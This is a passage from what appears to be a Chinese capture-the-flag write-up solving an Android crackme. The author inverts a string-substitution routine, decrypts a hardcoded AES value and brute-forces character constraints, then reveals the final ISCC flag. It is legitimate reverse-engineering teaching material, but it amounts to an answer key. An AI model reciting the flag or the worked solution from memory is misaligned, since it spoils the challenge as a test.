      return  false ;     } } 
 
可以看到调用了first 、 second 、 third类,那就继续看看吧
Class first 
1 2 3 4 5 6 7 package  com.example.mobileeasy;public  class  first   {    public  static  String firstStr (String s)   {         return  s.replace("B1" , "dN" ).replace("_" , "8" ).replace("!" , "P" ).replace("rea" , "hwl" ).replace('1' , 'u' ).replace("m" , "+" );     } } 
 
Class second 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package  com.example.mobileeasy;import  android.util.Base64;import  javax.crypto.Cipher;import  javax.crypto.spec.SecretKeySpec;public  class  second   {    public  static  String secondStr ()   {         byte [] key = "1234567890123456" .getBytes();         try  {             byte [] middle = Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==" , 0 );             SecretKeySpec skeySpec = new  SecretKeySpec(key, "AES" );             Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding" );             cipher.init(2 , skeySpec);             return  new  String(cipher.doFinal(middle)).replace(" " , BuildConfig.FLAVOR);         } catch  (Exception e) {             e.printStackTrace();             return  BuildConfig.FLAVOR;         }     } } 
 
Class third 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package  com.example.mobileeasy;public  class  third   {    public  static  boolean  thirdStr (String s)   {         if  (s.length() != 8 ) {             return  false ;         }         int  a0 = s.charAt(0 );         int  a1 = s.charAt(1 );         int  a2 = s.charAt(2 );         int  a3 = s.charAt(3 );         int  a4 = s.charAt(4 );         int  a5 = s.charAt(5 );         int  a6 = s.charAt(6 );         int  a7 = s.charAt(7 );         if  (a0 % 8  == 7  && a0 % 9  == 8  && a1 - 3  == 100  && (a2 ^ 93 ) == 100  && (a2 * 2 ) - 10  == a3 && a4 + 1  == 120  && (a5 ^ a6) == 56  && a5 - a6 == 24  && a6 - a7 == 4  && a7 == 80 ) {             return  true ;         }         return  false ;     } } 
 
基本分析 MainActivity Mainactivity里面最重要的地方
1 2 3 4 5 6 7 8 9 10 11 12 private  boolean  getFlag (String input)   {        String s = first.firstStr(input);         if  (s.length() < 15  || !s.substring(0 , 5 ).equals("ISCC{" ) || !s.substring(s.length() - 1 ).equals("}" )) {             return  false ;         }         String s1 = s.substring(5 , 15 );         String s2 = s.substring(15 , s.length() - 1 );         if  (s1.equals(second.secondStr()) && third.thirdStr(s2)) {             return  true ;         }         return  false ;     } 
 
这是个用来判断输入的flag是否正确的函数
功能为
1 2 3 4 5 6 传入字符串(input)->first.firstStr(input)处理->条件判断(必须符合某些条件) *条件 1、s.length() < 15 //必须大于等于15 2、!s.substring(0, 5).equals("ISCC{") //0-4个字符,共5个字符必须为ISCC{ 3、!s.substring(s.length() - 1).equals("}") //最后一个字符必须为} 
 
1 2 ->分割字符串从第5个到第15个前(索引从0开始)保存到变量s1 ->分割字符串从15个到倒数第一个前 保存到变量s2 
 
1 2 ->s1与second.secondStr()的结果作比较 ->s2传入到third.thirdStr() 
 
顺便说下Java的substring,让自己注意一下 
js的话是这样写的
1 2 var  str="Hello world!" document .write(str.substring(str.length-1 , str.length))
 
Java的话可以只有一个参数length() - 1,能取到字符串最后一位
1 2 3 4 5 6 7 8 package  helloworld;public  class  hello  { public  static  void  main (String[] args)   {     String a = "abc" ;     System.out.println(a.substring(a.length() - 1 ));  } } 
 
当然也可以像上面的js那样写
1 2 3 4 5 6 7 8 package  helloworld;public  class  hello  { public  static  void  main (String[] args)   {     String a = "abc" ; 	System.out.println(a.substring(a.length() - 1 , a.length()));  } } 
 
first类 first类里的firstStr函数是简单的字符替换,我们可以把它反着来再新建一个函数firstStr1()
1 2 3 4 5 6 7 8 9 10 11 package  helloworld;public  class  first   {	    public  static  String firstStr (String s)   { 	        return  s.replace("B1" , "dN" ).replace("_" , "8" ).replace("!" , "P" ).replace("rea" , "hwl" ).replace('1' , 'u' ).replace("m" , "+" ); 	} 	    public  static  String firstStr1 (String s)   { 	        return  s.replace("dN" , "B1" ).replace("8" , "_" ).replace("P" , "!" ).replace("hwl" , "rea" ).replace('u' , '1' ).replace("+" , "m" ); 	} } 
 
second类 前面说过字符串和second.secondStr()的结果作比较,那么可以直接输出second.secondStr()来获取部分flag
需要注意,eclipse里面不存在android.util.Base64,但是可以用java.util.Base64代替
相应的,需要改变调用方式
1 Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==" , 0 ) -> Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==" ) 
 
还有eclipse不存在 BuildConfig.FLAVOR
先查看 BuildConfig.FLAVOR
既然为空的话那就直接写“”
最后代码变成了这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package  helloworld;import  java.util.Base64;import  javax.crypto.Cipher;import  javax.crypto.spec.SecretKeySpec;public  class  second   {    public  static  String secondStr ()   {         byte [] key = "1234567890123456" .getBytes();         try  {             byte [] middle = Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==" );             SecretKeySpec skeySpec = new  SecretKeySpec(key, "AES" );             Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding" );             cipher.init(2 , skeySpec);             return  new  String(cipher.doFinal(middle)).replace(" " , "" );         } catch  (Exception e) {             e.printStackTrace();             return  "" ;         }     } } 
 
运行一下试试
看起来怪怪的
调用first.firstStr1()还原一下看看
舒服了,这才是正常的样子
third类 第一个要求为8个字符,然后开始一个一个单独取char值,赋值给int型变量a0-a7
要求满足一大串东西
1 a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 && (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 && (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80 
 
整理一下
两三个逐个击破可能会简单一点
直接遍历字符串算了,先把可能值弄出来
1 2 String aaa = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}" ; int  a_l = aaa.length();
 
其实是由js生成的,取需要的部分就行
1 2 3 4 var  str1 = "" ;for  (i=0 ;i<200 ;i++) {  str1 += String .fromCharCode(i); } 
 
进一步操作 接下来只要把最后8位获取出来就行了
我比较笨,一个一个遍历,其实也就不到两秒的事
条件选取 先把third类按照
1 2 3 a0 % 8 == 7 && a0 % 9 == 8  && a1 - 3 == 100 (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80 
 
处理一下
进行三次循环
获得输出 得到
 
还原 用first.firstStr1()翻译一下
拼接 获得flag
ISCC{m0B1lE_1s_Gg9reaT!}
结束 谢谢观看
EOF